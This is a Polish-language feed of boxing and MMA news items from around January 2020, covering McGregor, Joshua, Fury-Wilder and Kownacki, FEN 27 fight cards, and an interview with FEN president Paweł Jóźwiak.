Sam McGregor nie będzie za wszelką cenę czekał na Khabiba, choć ma świadomość, że do tego starcia dojdzie. Wśród najbliższych potencjalnych rywali Irlandczyka wymienia się m.in. Justina Gaethje. Mówi się również o starciu z Jorge Masvidalem.

Co ciekawe, po UFC 246 do akcji wkroczył Floyd Mayweather Jr. Amerykański pięściarz w sierpniu 2017 roku pokonał McGregora w pojedynku bokserskim. Teraz "Money" wyzwał Irlandczyka do rewanżu. W mediach społecznościowych Mayweather rozpoczął… akcję promocyjną pojedynku. Do starcia miałoby dojść w 2020 roku. Warto dodać, że Mayweather zamieścił również plakat zapowiadający jego starcie z… Nurmagomiedowem.

Wygrana McGregora sprawiła, że ponownie zrobiło się o nim głośno. Dla UFC Irlandczyk jest bezcenny. Bez wątpienia każda kolejna walka McGregora będzie rodziła ogromne zainteresowanie. Losy byłego mistrza wagi piórkowej i lekkiej znalazły się pod lupą.

Fot. Conor McGregor Facebook

KM

FEN 28 – Lublin 28 marca hala Globus

Jeszcze emocje nie opadły po FEN MMA 27 a już rozpoczęta misja FEN MMA 28. Jedyna realna trampolina do UFC w Polsce to FightExclusiveNight. Okazuje się, że zawodnicy mogą liczyć nie tylko na profesjonalne walki MMA ale i promocję, transmisje telewizyjne w telewizji POLSAT obecnie największej telewizji pokazującej sztuki walki na europejskim rynku. Szczegóły podamy już nie długo.

Teraz Stambuł?

Anthony Joshua ruszył w świat. Ma sobą walkę w Arabii Saudyjskiej. Niewykluczone, że kolejny pojedynek, w którym spotka się z Kubratem Pulewem, Brytyjczyk stoczy na stadionie Vodafone Arena w Stambule.

Po pokonaniu w Ad-Dirijja Andy'ego Ruiza Jr. i odzyskaniu pasów WBO, IBF, WBA oraz IBO niemalże od razu ruszyła dyskusja na temat kolejnych wyzwań mistrza. Na horyzoncie pojawiło się dwóch rywali – Oleksandr Usyk i Kubrat Pulew. Federacje WBO i IBF poinformowały czempiona o konieczności negocjacji z pretendentami do pasów. Wszystkie znaki "na niebie i ziemi" wskazują, że Joshua stanie do obrony tytuły IBF i zmierzy się z Bułgarem.

Warto przypomnieć, że "AJ" miał rywalizować z Pulewem w 2017 roku, jednak wtedy ten nie mógł wystąpić z powodu kontuzji. Joshua stoczył pojedynek z Carlosem Takamem, którego pokonał w Cardiff przez techniczny nokaut w dziesiątej rundzie. Wracając do głównego wątku, obozy Brytyjczyka i Bułgara do końca stycznia muszą ustalić warunki walki. Prawdopodobny termin rywalizacji to maj. Ciekawa jest propozycja miejsca mistrzowskiego pojedynku. To stadion Vodafone Arena w Stambule, na którym może zasiąść ponad 40 tys. widzów. Na konkrety jednak trzeba poczekać. Do niedawna mówiło się, że Joshua i Pulew spotkają się na Tottenham Hotspurs Stadium w Londynie.

Dotychczas "AJ" poza ojczyzną stoczył tylko dwie walki i obie z Andy'm Ruizem Jr. Na własnej ziemi mistrz świata wygrał 21 pojedynków, w tym 20 przed czasem! Co ciekawe Pulew dopiero trzy lata temu stoczył walkę w swojej ojczyźnie. 3 grudnia 2016 roku pokonał w Sofii Samuela Petera. Potem jeszcze dwa razy rywalizował w stolicy Bułgarii i zanotował zwycięstwa z Kevinem Johnsonem i Hughie'm Furym. Początki zawodowej kariery Pulewa to zmagania na niemieckich ringach. W debiutanckim starciu przed czasem pokonał Floriana Benche, ale w czasach amatorskich "Kobra" zapisał na swoim koncie tytuły mistrza Bułgarii (trzy).Ostatnio 38-latek rywalizował na ringach w Stanach Zjednoczonych, gdzie odprawił Bogdana Dinu i Rydella Bookera.

Fot. Anthony Joshua Facebook

KM

Brodnicka wystąpi w marcu

7 marca w Dzierżoniowie odbędzie się 11. gala Tymex Boxing Night. Jedną z gwiazd wydarzenia będzie mistrzyni świata WBO w wadze super piórkowej Ewa Brodnicka.

Kalendarz wydarzeń sportowych powoli zapełnia się. Czekamy na pojedynki naszych rodaków i bokserskie gale w Polsce. 7 marca gromy polecą w Dzierżoniowie. Wiadomo, że podczas gali Tymex Boxing Night zaprezentuje się Ewa Brodnicka. W ubiegłym roku 35-letnia bokserka pokonała Edith Soledad Matthysse i Janeth Perez. Brodnicka jest posiadaczką pasa WBO, który zdobyła w maju 2017 roku pokonując w Częstochowie Irmę Balijagić Adler. W marcu Polka stanie do piątej obrony tytułu. – Przygotowania rozpoczęłam od początku stycznia. Największe wyzwanie to zrobienie mądrze wagi, żeby nie osłabić się przed samą walką i nie stracić przez to formy, którą ciężko budujemy z całym teamem. Rywalkę ogłoszę niedługo, żeby nie było za dużo informacji naraz – podała Ewa Brodnicka w mediach społecznościowych.

W Dzierżoniowie zaprezentuje się również Damian Wrzesiński, który powalczy o pas młodzieżowego mistrza Polski. 32-latek chce odnieść sukces i kontynuować dobrą passę. Wrzesiński wygrał pięć kolejnych pojedynków. W 2019 roku pokonał Miguela Cesario Antina i Kamila Młodzińskiego.

Po blisko rocznej przerwie kolejną walkę stoczy Michał Leśniak. W listopadzie 2017 roku 28-latek stoczył pamiętny bój z Kamilem Młodzińskim o tytuł mistrza Polski w wadze superlekkiej. Ogromna intensywność, cios za cios i wielka wola walki. Żaden z pięściarzy nie miał zamiaru się oszczędzać, co pozwoliło stworzyć widowisko, które oceniano bardzo wysoko. Pojedynek zakończył się remisem. Od tamtego czasu Leśniak stoczył cztery pojedynki i wszystkie wygrał. W zeszłym roku pokonał Maksima Churbanova i Vladyslava Gelę. Po raz ostatni Leśniak zaprezentował się w ringu w maju 2019 roku. 7 marca pięściarz po raz czwarty wystąpi w Dzierżoniowie, jeszcze nigdy tam nie przegrał.

Podczas gali Tymex Boxing Night 11 zaprezentują się również: Sahan Aybaya, Oskar Kapczyński i Oskar Wierzejski.

Fot. materiały prasowe

KM

Dwie rundy wystarczą

22 lutego w MGM Grand w Las Vegas odbędzie się rewanżowe starcie Tysona Fury'ego z Deontayem Wilderem. "Olbrzym z Wilmslow" jest pewny swego.

Im bliżej rewanżowej walki, emocje idą w górę. Zarówno Fury i Wilder dołożą wszelkich starań, żeby zadbać o właściwą temperaturę pojedynku. Nie przebierają w słowach, są pewni siebie i żądni zwycięstwa. Przed pierwszą walką (1 grudnia 2018 – red.) akcje Fury'ego nie stały wysoko. Pogromca Władimira Kliczko pokazał jednak klasę i w oczach wielu zasłużył na zwycięstwo. Starcie zakończyło się remisem, jednak dało Brytyjczykowi przepustkę do powrotu na szczyt. 22 lutego będzie mógł zasiąść na tronie.

 Mimo licznych problemów i przeżyć postępowanie Fury’ego się nie zmieniło. Nadal jest pewny siebie, momentami bezczelny i arogancki. Nie inaczej jest przed najbliższą walką. – Chcę spotkać się z nim na środku ringu i zrobić walkę. Mocniejszy przetrwa, słabszy przegra. Mam 20. nokautów w 29. zwycięskich pojedynkach – mówi Tyson Fury. – On wie, że w pierwszej walce dwa lub trzy razy się kołysał, ale zabrakło mi paliwa, żeby go wykończyć. Teraz będzie inaczej – zapewnia 31-latek. Fury liczy, że uda mu się znokautować rywala. – Nie będę uciekać. Nie będzie musiał mnie szukać. Zostanie znokautowany w dwóch rundach. Dwie rundy! – podkreśla „Olbrzym z Wilmslow”.

Wilder również nie przebiera w słowach. – To jest dokończona sprawa, którą zamknę. Znokautuję go. Jestem królem w tej dżungli. Rozerwę mu głowę. Zrobię tak, że przewróci się przez liny – powiedział Amerykanin.

Deontay Wilder ostatnio pokonał przed czasem Dominica Breazeale'a oraz Luisa Ortiza. Dotychczas Amerykanin stoczył 43. walki, z których w 41. triumfował przez nokaut. Nigdy nie przegrał, zanotował remis w starciu z Fury'm. Z kolei pięściarz urodzony w Manchesterze w roku 2019 stoczył dwa pojedynki. Fury pokonał Toma Schwarza i Otto Wallina. W starciu z tym drugim doznał kontuzji łuku brwiowego. Szwed postawił Fury'emu trudne warunki i pojedynek zakończył się triumfem Brytyjczyka na punkty.

22 lutego pięściarze wcale nie muszą spotkać się po raz ostatni. Sporo mówi się o trzecim pojedynku Fury’ego i Wildera. Nie wybiegajmy w przyszłość, lecz szykujmy się na ucztę. Oby temperatura pojedynku była właściwa.

Fot. Tyson Fury Facebook

KM

Puszka Cerrone

Wielka walka w UFC coraz bliżej. 18 stycznia w T-Mobile Arenie w Las Vegas dojdzie do starcia Donalda Cerrone z Conorem McGregorem. Z okazji zbliżającego się wydarzenia Budweiser wypuścił puszkę z wizerunkiem 36-letniego Amerykanina.

Popularny "Kowboj" nie ukrywa swojej sympatii do piwa i jasno wskazuje, które jest jego ulubionym. Budweiser postanowił więc umieścić wizerunek Cerrone na puszce. To znakomita okazja dla fanów Amerykanina, aby 18 stycznia podczas gali UFC 246 wspierać swojego ulubieńca z trunkiem w opakowaniu z jego podobizną. Nie da się ukryć, że Budweiser wykonał ciekawy ruch marketingowy, który odbił się szerokim echem i na pewno spotka się z sympatią fanów MMA. Co ciekawe, na puszce znalazły się także informacje o wyczynach Cerrone, czyli o jego zwycięstwach i porażkach. Trzeba również wspomnieć, że najbliższy rywal Amerykanina – Conor McGregor posiada swoje whisky, które nazywa się Proper Twelve.

Jak widać sport przenika się z innymi branżami. 18 stycznia w Las Vegas wszyscy będą jednak liczyć na widowiskowe starcie. Obserwatorzy zadają sobie pytanie, czy będzie to wielki powrót Conora McGregora. Po raz ostatni Irlandczyk zaprezentował się w oktagonie w październiku 2018 roku! Podczas gali UFC 229 przegrał z Chabibem Nurmagomiedowem starcie o pas mistrzowski w wadze lekkiej. Los McGregora w MMA był wielką niewiadomą. Pojawiali się zawodnicy, którzy rzucali wyzwania Irlandczykowi, ale ten skupił się na biznesie. Wspominał o powrocie do UFC, by później mówić o zakończeniu kariery. Wszyscy żyli tymi doniesieniami, ale ostatecznie McGregor zdecydował się wrócić.

Ostatnie zwycięstwo McGregor odniósł ponad trzy lata temu! W Nowym Jorku pokonał Eddiego Alvareza i zdobył pas w wadze lekkiej. Teraz Irlandczyk zmierzy się z Cerrone, który ostatnie dwa starcia przegrał. Amerykanin jednak cały czas walczył. W trakcie nieobecności McGregora stoczył pięć walk, w tym trzy wygrał.

Zapowiada się interesujący pojedynek, w którym niewiadomą jest forma Irlandczyka. Z pewnością McGregor zrobi wszystko, aby ponownie było o nim głośno. Dla obu zawodników będzie to „dochodowe” starcie. Ponoć McGregor ma gwarantowane 5 milionów dolarów, a Cerrone dwa. Do tego dojdą środki z pay per view.

Fot. Donald "Cowboy" Cerrone

KM

Helenius na drodze Kownackiego?

Czekamy na wieści na temat pierwszej tegorocznej walki Adama Kownacki. Popularny "Babyface" ma wejść do ringu 7 marca w Barclays Center. Niewykluczone, że jego rywalem będzie Robert Helenius. W wadze ciężkiej dzieje się – ostro do rewanżu z Deontayem Wilderem przygotowuje się Tyson Fury.

Wyzwanie Kownackiego

Adam Kownacki wykonuje dobrą robotę. O Polaku trenującym w Stanach Zjednoczonych zrobiło się głośno, gdy znokautował Artura Szpilkę. Od tamtego czasu Kownacki wygrał cztery walki i pokonał mocne nazwiska m.in. Charlesa Martina, Geralda Washingtona i Chrisa Arreolę.

Pięściarz urodzony w Łomży wyrobił sobie markę i jest zaliczany do czołówki wagi ciężki. Był brany pod uwagę jako rywal Anthony'ego Joshuy, gdy wpadkę dopingową zaliczył Jarrell Miller. Kownacki liczy na starcie o pas mistrzowski. Joshua zwakuje zapewne tytuł WBO, a o IBF zmierzy się z Kubratem Pulewem. W najbliższym czasie sprawa się wyjaśni, ale wiadomo, że Kownacki zaprezentuje się 7 marca w Barclays Center. Dużo mówiło się o starciu Polaka z Dominikiem Breazealem, jednak teraz na horyzoncie pojawił się Robert Helenius. Ponoć pięściarze doszli już do porozumienia.

36-letni Fin pokonał ostatnio Mateusa Roberto Osorio. Swego czasu Helenius pokonał Derecka Chisorę, co dało mu pas EBU w wadze ciężkiej. Helenius ma na koncie 29 zwycięstw i trzy porażki. Fiński pięściarz był ostatnio wymieniany także jako potencjalny rywal Josepha Parkera.

Fury trenuje

Zanim Kownacki pojawi się w ringu, 22 lutego w Las Vegas dojdzie do rewanżu Denotaya Wildera z Tysonem Fury. 1 grudnia 2018 roku walka zakończyła się remisem. W pojedynku z Otto Wallinem Fury doznał kontuzji łuku brwiowego, ale nie ma po niej już śladu. Olbrzym z Wilmslow ciężko trenuje i sparuje przed starciem o pas WBC. Pomagają mu George Fox, David Adeleye i Jared Anderson. Wszyscy mają za sobą kilka pojedynków na zawodowych ringach.

Warto wspomnieć, że lutowe starcie Wildera i Fury'ego wcale nie musi być ostatnie. Możliwy jest trzeci pojedynek, o ile pięściarze będą wyrażali taką chęć.

Fot. Adam Kownacki Instagram

KM

Whyte zmierzy się z Powietkinem?

Prawdopodobnie 18 kwietnia kolejną walkę stoczy Dillian Whyte, a jego rywalem będzie Aleksandr Powietkin.

Ostatni czas obfitował w zwroty akcji w sportowej karierze pięściarza urodzonego na Jamajce. 20 lipca Whyte pokonał Oscara Rivas i zdobył tymczasowy tytuł mistrza świata WBC. Radość nie trwała długo. Po walce w organizmie zwycięzcy wykryto metyloheksanaminę i federacja WBC podjęła decyzję o zawieszeniu pięściarza. Warto wspomnieć, że to nie pierwsza taka sytuacja w życiu 32-latka. Brytyjski bokser wpadł na dopingu w 2012 roku. Wracając do bieżących wydarzeń, ostatecznie Whyte mógł odetchnąć. WBC zniosła tymczasowe zawieszenie i Brytyjczyka uznano za tymczasowego mistrza świata. W grudniu Whyte wszedł do ringu podczas gali w Diriyah i pokonał Mariusza Wacha.

Teraz 32-latek czeka na kolejne wyzwania. Whyte liczy na walkę o tytuł WBC, jednak musi uzbroić się w cierpliwość. Pojedynku może spodziewać się najwcześniej za ponad rok. Bokser nie ma zamiaru czekać. Najbliższą walkę Whyte miałby stoczyć 18 kwietnia, a w ringu stanąłby na wprost Aleksandra Powietkina. – Mam spotkanie z Eddiem (Hearnem – red.) we wtorek – mówi Sky Sports Dillian Whyte. – Spotkamy się i zobaczymy, jakie są plany, a następnie podejmiemy decyzję – zapowiada pięściarz, który w 2020 roku stoczy maksymalnie trzy pojedynki.

Powietkin zaprezentował się na tej samej gali, co Whyte. W Arabii Saudyjskiej Rosjanin zremisował z Michaelem Hunterem. Wcześniej (sierpień 2019) pokonał Hughie Fury'ego. We wrześniu 2018 roku Powietkinowi nie udało się sięgnąć po pasy mistrzowskie WBO, WBA, IBF, IBO. Na stadionie Wembley w siódmej rundzie przegrał przez nokaut z Anthonym Joshuą. To była druga porażka w karierze doświadczonego Rosjanina. Wcześniej przegrał z Władimirem Kliczko.

Należy wspomnieć, że Rosjanin ma na swoim koncie również problemy związane ze stosowaniem dopingu. Z tego powodu nie doszło do jego starcia o pas WBC z Deontayem Wilderem. Kilka miesięcy później (grudzień 2016 roku) sytuacja się powtórzyła. Powietkin miał boksować z Bermane Stivernem, ale wszedł do ringu z Johannem Duhaupasem. 17 grudnia WBC poinformowała o wykryciu ostaryny w organizmie Rosjanina. Wieczorem Powietkin pojawił się w ringu i znokautował Francuza.

Dwaj pięściarze o sporym potencjale i przejściach mogą spotkać się w kwietniu. Sportowo wygląda to ciekawie, choć ostatni występ Whyte’a był daleki od ideału, a Powietkin ma na karku 40 lat.

Fot. zdjęcie poglądowe

KM

Lima Dias nowym rywalem Romanowskiego

Rildeci Lima Dias (23-10, 12 KO, 9 SUB) podejmie Sebastiana Romanowskiego (13-8-1, 4 KO, 2 SUB) podczas gali FEN 27 w Szczecinie. „Escorpiao” zastąpi tym samym innego Brazylijczyka, Vilsona Jr.

Dias ma 34 lata i pochodzi z miasta Almerim w Brazylii. Ten bardzo doświadczony reprezentant Kraju Kawy może pochwalić się aż 23 zwycięstwami na koncie, z czego 12 odniósł przez nokauty i 9 przez poddania. W lipcu 2018 roku Dias anakondą poddał w 2. rundzie Gersona Pereirę de Jesusa. Jego wcześniejsze zwycięstwo to również poddanie rywala, tym razem bardzo trudną techniką brabo choke. „Escorpio” na zawodowstwie walczy od 2009 roku.

Romanowski to jeden z najlepszych i najbardziej doświadczonych zawodników w Polsce w kategorii koguciej. „Szczena” w przeszłości walczył również w dywizji piórkowej, więc wie, w jaki sposób walczyć z fighterami o lepszych warunkach fizycznych. Pod koniec 2017 roku Romanowski wygrał dzięki jednogłośnej decyzji sędziów z Evgenim Ryazanowem. Po przerwie od zawodowych startów spowodowanej kontuzją wrócił do rywalizacji w klatce pokonując Nikołaja Kondratuka.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS Kirill Kornilov
56,7 KG, MMA: Katarzyna Lubońska VS Eva Dourthe
61,2 KG, MMA: Sebastian Romanowski VS Lima Dias
70,0 KG, K-1: Marcin Parcheta VS Gor Harutjunjan
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

O gali FEN 27:

Bohaterem walki wieczoru gali FEN 27 w Szczecinie będzie Mateusz Rębecki. Niepokonany od ponad czterech lat zawodnik Berserkers Team Szczecin po raz siódmy wystąpi pod szyldem FEN. Pojedynek na swojej ziemi będzie również dla „Chińczyka” trzecią obroną pasa mistrzowskiego w kategorii lekkiej. W przeciwnym narożniku stanie utytułowany rosyjski zapaśnik Magomed Magomedov.

W eliminatorze do pasa mistrzowskiego w kategorii półciężkiej wystąpi Wojciech Janusz, który skrzyżuje pięści z Adamem Kowalskim. „Kulkinio” jest rozpędzony serią czterech kolejnych zwycięstw z rzędu i w znakomitym nastroju przystąpi do rywalizacji w Szczecinie.

Po raz drugi w klatce FEN kibice będą mieli przyjemność oglądać w akcji Katarzynę Lubońską. Zawodniczka pochodząca z Piły od zwycięstwa rozpoczęła swoją przygodę w FEN. Teraz będzie chciała udowodnić, że jest najlepszą kobietą w FEN w kategorii muszej.

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Mistrz zwakuje pas

Anthony Joshua ponownie zasiada na tronie wagi ciężkiej, co wiąże się z kolejnymi wyzwaniami. Do rywalizacji z Brytyjczykiem gotowi są Oleksander Usyk i Kubrat Pulew. Tym samym "AJ" będzie musiał zwakować jeden z pasów.

1 czerwca 2019 roku w Madison Squre Garden w Nowym Jorku Anthony Joshua stoczył pierwszy pojedynek poza granicami Wysp Brytyjskich. Dla 30-latka było to bolesne doświadczenie. "AJ" poniósł pierwszą porażkę na zawodowym ringu. W siódmej rundzie przegrał przez techniczny nokaut z Andy'm Ruizem Jr. i stracił tytuły WBO, IBF, WBA i IBO. Wiadomo było, że nie obędzie się od rewanżu. Wokół kolejnego starcia Joshuy z Ruizem Jr. narodziła się gorąca atmosfera. Pojedynek odbył się 7 grudnia w… Arabii Saudyjskiej. Nietypowa lokalizacja, ale szczęśliwa dla Brytyjczyka. Tym razem Joshua nie pozostawił wątpliwości, kto jest lepszy. 30-letni pięściarz pokonał Ruiza i odzyskał pasy.

Joshua wrócił na tron, ale teraz jego obóz ma "trudny orzech do zgryzienia". WBO i IBF przesłały do Brytyjczyka pisma informujące o konieczności negocjacji odpowiednio z Oleksandrem Usykiem i Kubratem Pulewem. Joshua musi dokonać wyboru, co wiąże się z tym, że jeden z pasów zwakuje. – Zawsze mówiłem, że pasy mnie nie określają. Będę mistrzem, jeśli oddam jeden tytuł. Tym samym pojawi się szansa zmierzenia się z innym mistrzem świata. Teraz pobiłem czterech czempionów. Jeżeli zrezygnuję z pasa, powstanie nowa historia i dostarczę rozrywki – powiedział dla Sky Sports Anthony Joshua.

Wiele wskazuje na to, że "AJ" stoczy bój o pas IBF z Pulewem. Bułgar ostatnio pokonał Rydella Bookera. Tym samym "AJ" zwakuje pas WBO, o który Usyk powinien zmierzyć się z Derekiem Chisorą. Pięścarz urodzony w Zimbabwe wygrał trzy walki z rzędu, w tym pokonał Artura Szpilkę.

Kolejny rok w wadze ciężkiej zapowiada się ciekawie. Przypomnijmy, że 22 lutego dojdzie do rewanżowego starcia Deontaya Wildera z Tysonem Fury'm. Na szali pojawi się pas WBC należący do Amerykanina.

Fot. Anthony Joshua Facebook

KM

Znakomity kickbokser Kornilov rywalem Sianosa w Szczecinie

Kirill Kornilov (1-0, 1 KO) zmierzy się z Marcinem Sianosem (4-4, 4 KO) podczas gali FEN 27 w Szczecinie 18 stycznia. Kornilov zastąpi tym samym Alekseya Kisera.

Kornilov to znakomity kickbokser, były zawodnik najlepszej na świecie organizacji GLORY. W formule uderzanej Rosjanin ma stoczonych 17 walk, z czego 14 wygrał. W swoim debiucie w MMA Kornilov ciężko znokautował już w 1. rundzie znanego w Polsce Fernando Rodriquesa. Zawodnik pochodzący z Sankt Petersburga imponuje znakomitymi warunkami fizycznymi – mierzy 195 centymetrów wzrostu.

Sianos spośród czterech zwycięskich walk na zawodowstwie wszystkie skończył w ten sam sposób – nokautując swoich rywali. O sile jego prawej ręki przekonał się Marcin Zontek, który jeszcze w pierwszej odsłonie musiał uznać wyższość polskiego kolosa i padł na deski, a w konsekwencji przegrał pojedynek. Wcześniej Sianos stoczył krwawy bój z Grzegorzem Cieplińskim i już w premierowej odsłonie rozprawił się z Mateuszem Łazowskim.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS Kirill Kornilov
56,7 KG, MMA: Katarzyna Lubońska VS Eva Dourthe
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS Gor Harutjunjan
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

O gali FEN 27:

Bohaterem walki wieczoru gali FEN 27 w Szczecinie będzie Mateusz Rębecki. Niepokonany od ponad czterech lat zawodnik Berserkers Team Szczecin po raz siódmy wystąpi pod szyldem FEN. Pojedynek na swojej ziemi będzie również dla „Chińczyka” trzecią obroną pasa mistrzowskiego w kategorii lekkiej. W przeciwnym narożniku stanie utytułowany rosyjski zapaśnik Magomed Magomedov.

W eliminatorze do pasa mistrzowskiego w kategorii półciężkiej wystąpi Wojciech Janusz, który skrzyżuje pięści z Adamem Kowalskim. „Kulkinio” jest rozpędzony serią czterech kolejnych zwycięstw z rzędu i w znakomitym nastroju przystąpi do rywalizacji w Szczecinie.

Po raz drugi w klatce FEN kibice będą mieli przyjemność oglądać w akcji Katarzynę Lubońską. Zawodniczka pochodząca z Piły od zwycięstwa rozpoczęła swoją przygodę w FEN. Teraz będzie chciała udowodnić, że jest najlepszą kobietą w FEN w kategorii muszej.

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Jóźwiak przed FEN 27: „W Polsce nie ma lepszego miejsca do budowania od podstaw wielkich karier.”

Paweł Jóźwiak, prezes FEN, jest optymistycznie nastawiony do najbliższych dwóch tygodni, które zwieńczy gala FEN 27 w wypełnionej do ostatniego krzesełka Netto Arenie. Kto ma szansę najwięcej wygrać w Szczecinie i czy Mateusz Rębecki pojedynkiem na swojej ziemi pożegna się z federacją? Który pojedynek zapowiada się najciekawiej? Kto ma najwięcej do udowodnienia i czy Kamil Gniadek wróci na właściwe tory?

Dwa najbliższe tygodnie to…

Paweł Jóźwiak: To czas najcięższej pracy dla mnie, moich wspólników i wszystkich naszych pracowników. Dużo maili, telefonów, spotkań, jeżdżenia. To czas nerwów, ale i sporej satysfakcji, bo dużo tematów właśnie teraz zostaje zamykanych. Potem już gala, czyli nagroda – podobnie jak dla zawodników.

Na pewno spodziewacie się kompletu kibiców podczas FEN 27, bo na Facebooku jakiś czas temu pojawił się screen z bileternii – zostało tak naprawdę niewiele wejściówek.

PJ: Tak, spodziewamy się pełnej hali. Rekordowo zaczęliśmy sprzedaż i tak naprawdę od samego początku obserwowaliśmy płynną jej dynamikę. Bardzo dobrze spisali się miejscowi zawodnicy, którzy chętnie udzielali się w swoich profilach w social mediach i również przyczynili się do tego, że w Szczecinie zobaczymy komplet. Netto Arena to duży obiekt liczący z płytą i naszymi stolikami VIP-owskimi prawie 6 tysięcy miejsc. Były obawy przed galą w Szczecinie, więc tym bardziej cieszę się, że frekwencyjnie będzie to wyglądało bardzo dobrze.

Mateusz Rębecki w walce wieczoru po raz trzeci będzie bronił pasa mistrzowskiego…

PJ: Kto wie, może po raz ostatni? Może wygrana z bardzo mocnym Rosjaninem zapewni mu kontrakt z UFC? Wiem, że to z perspektywy organizatora może zabrzmieć bardzo dziwnie, ale naprawdę trzymam za niego kciuki. Trzymam kciuki za każdego naszego zawodnika, który ma w sobie dużo pokory, potrafi ciężko pracować i skupiać się na priorytetach. Wiadomo, że odejście najlepszego zawodnika naszej organizacji do UFC będzie dla nas osłabieniem, ale my do tematu podchodzimy inaczej – niech Mateusz idzie do Ameryki i tam się rozwija. Niech dobrze nas wspomina, jako federację, które pomogła mu spełnić swoje marzenia. Która zbudowała go jako zawodnika od A do Z. Niech jego przypadek pokaże, że w Polsce nie ma lepszego miejsca do budowania od podstaw wielkich karier dla tych, którzy są w stanie poświęcić wszystko, by sięgać po najwyższe laury.

W Szczecinie poznamy również zawodnika, który zmierzy się w walce o pas mistrzowski w kategorii półciężkiej.

PJ: I to może być najlepsza walka podczas tej gali. Czasami do pojedynków podchodzę nie jako organizator czy matchmaker, ale również jako kibic. Ten pojedynek dla kibica jest spełnieniem marzeń. Fajna historia, że Wojtek z Adamem wystąpi na tej samej gali w Ostródzie, obaj zgarnęli bonusy, a teraz się zmierzą ze sobą. Stawka duża, więc emocji nie zabraknie. Janusz walczy u siebie, wydaje się być bardziej uniwersalnym zawodnikiem. Kowalski potrafi przyjąć mocny cios, jak z pojedynku z Kijańczukiem, potem sam powalić rywala na matę, by na końcu go poddać. Jak to mawia młodzież – jaram się.

Kasia Lubońska po wygranej walce zawalczy o pas?

PJ: Spokojnie, nie zakładajmy tak szybko tego, co się wydarzy po czymś, co jeszcze się nie miało miejsca. Kasia ma wszystko, żeby być naszą gwiazdą. Po dwóch zwycięstwach będzie miała oczywiście swoje argumenty, żeby tak właśnie było, ale z racji tego, że poważnie myślimy o dywizji kobiet, chcemy wszystko dokładnie zaplanować. Na pewno chcemy jeszcze w 2020 roku, aby jedna z kobiet walczących dla nas była mistrzynią.

Marcin Sianos od razu chciał wystąpić w Szczecinie po przegranej z Szymonem Bajorem?

PJ: W poniedziałek do mnie zadzwonił i od razu chciał walczyć. Był zdeterminowany jak nikt nigdy wcześniej. Nie widziałem nigdy sportowo tak złego zawodnika, jak Marcin po walce we Wrocławiu. On ma swoje lata, mógłby sobie dać spokój ze sportem, bo poza MMA znakomicie sobie radzi i nie narzeka na brak pieniędzy ani obowiązków. Poszedł jednak w kierunku sportu i zrobi wszystko, żeby być naszym mistrzem. Dostał ode mnie propozycję mocnego rywala – od razu się zgodził. Rosjanin wypadł, w jego miejsce wskoczył kto inny, równie mocny, może nawet i lepszy – po 15 minutach miałem potwierdzenie walki. Marcin chce walczyć w Szczecinie i będzie oglądał walkę Bajora. Jeżeli będzie mistrzem, to Sianos marzy o rewanżu, aczkolwiek sam doskonale zdaje sobie sprawę, że jedno zwycięstwo nie wystarczy, by otrzymać taką możliwość.

Kamil Gniadek jest w trudnym miejscu swojej kariery. Coś z nim pękło?

PJ: Nie, jestem przekonany, że nic nie pękło. Kamil to walczak, prawdziwy fighter. Uwielbiam takich zawodników, którzy nie kalkulują, którzy zawsze idą po swoje. Cztery pierwsze walki w FEN wygrał przed czasem. Potem zawalczył dobrze o pas z Grzebykiem, przegrał, ale to była w moim odczuciu najlepsza batalia w Polsce w całym 2019 roku. Następnie z piekielnie mocnym Duszą wygrywał przez dwie rundy, ale dał się zaskoczyć i przegrał. Znowu nagrodziliśmy go bonusem. On jednak do samego końca, nawet prowadząc u wszystkich sędziów, szedł po swoje. Chciał skończyć walkę przed czasem. Ryzykował. Jak mam powiedzieć, że w takim zawodniku coś pękło? To są właśnie goście, których kochają kibice. Gniadek jeszcze nie raz pokaże się ze znakomitej strony.

Ogłosicie kolejnych bohaterów gali FEN 28 już w Szczecinie?

PJ: Tak, ogłosimy kilka nazwisk. Mocnych zawodników, którzy wystąpią w Lublinie. Będą walki o pasy, planujemy eliminator, na pewno gala w Lublinie nie będzie gorsza niż ta w Szczecinie. Nie wybiegajmy jednak zbyt daleko w przyszłość – zostały dwa tygodnie do gali. Jestem przekonany, że dobrej gali w naszym wykonaniu.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS Kirill Kornilov
56,7 KG, MMA: Katarzyna Lubońska VS Eva Dourthe
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS Gor Harutjunjan
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

O gali FEN 27:

Bohaterem walki wieczoru gali FEN 27 w Szczecinie będzie Mateusz Rębecki. Niepokonany od ponad czterech lat zawodnik Berserkers Team Szczecin po raz siódmy wystąpi pod szyldem FEN. Pojedynek na swojej ziemi będzie również dla „Chińczyka” trzecią obroną pasa mistrzowskiego w kategorii lekkiej. W przeciwnym narożniku stanie utytułowany rosyjski zapaśnik Magomed Magomedov.

